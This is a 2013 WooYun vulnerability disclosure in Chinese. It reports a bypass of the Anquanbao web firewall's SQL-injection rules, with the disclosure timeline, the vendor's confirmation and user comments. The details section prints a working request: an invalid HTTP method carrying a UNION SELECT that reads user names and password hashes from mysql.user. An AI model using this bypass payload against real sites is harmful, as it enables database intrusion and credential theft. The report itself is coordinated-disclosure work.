安全宝SQL注入规则绕过

漏洞概要

缺陷编号:WooYun-2013-024599

漏洞标题:安全宝SQL注入规则绕过

相关厂商:安全宝

漏洞作者:Jannock

提交时间:2013-05-27 14:48

公开时间:2013-07-11 14:49

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

Tags标签:

漏洞详情

披露状态:

2013-05-27: 细节已通知厂商并且等待厂商处理中
2013-05-28: 厂商已经确认,细节仅向厂商公开
2013-06-07: 细节向核心白帽子及相关领域专家公开
2013-06-17: 细节向普通白帽子公开
2013-06-27: 细节向实习白帽子公开
2013-07-11: 细节向公众公开

简要描述:

安全宝SQL注入规则绕过,简单的绕过。。。

详细说明:

某些apache版本,具体不详FUCK /sqlin.php?id=1%20union%20select%201,user(),password,4%20from%20mysql.user HTTP/1.1Host: secaqb.anquanbao.orgAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: keep-alive

漏洞证明:

修复方案:

这个我不懂

漏洞回应

厂商回应:

危害等级:低

漏洞Rank:2

确认时间:2013-05-28 15:49

厂商回复:

您好,这个问题在5月中旬我们已经通过其他渠道发现,正在修复中,所以rank给的不高,非常感谢您对安全宝的支持,[email protected] 这个邮箱才能参加这个活动,也欢迎更多的白帽子向我们反馈安全问题

最新状态:

暂无

评价

  1. 2010-01-01 00:00 坏虾 白帽子 | Rank:26 漏洞数:6)

    一哥 你牛X了

  2. 2010-01-01 00:00 园长 白帽子 | Rank:124 漏洞数:14)

    不明真相的围观中。

  3. 2010-01-01 00:00 浩天 白帽子 | Rank:851 漏洞数:68)

    一哥沉默已久

  4. 2010-01-01 00:00 小川 白帽子 | Rank:1367 漏洞数:158)

    要连载啊

  5. 2010-01-01 00:00 x1aoh4i 白帽子 | Rank:360 漏洞数:44)

    一哥 要发威 我操操

  6. 2010-01-01 00:00 hack2012 白帽子 | Rank:31 漏洞数:3)

    楼主确实强大。

  7. 2010-01-01 00:00 稀饭粥 白帽子 | Rank:8 漏洞数:1)

    一哥叼哇!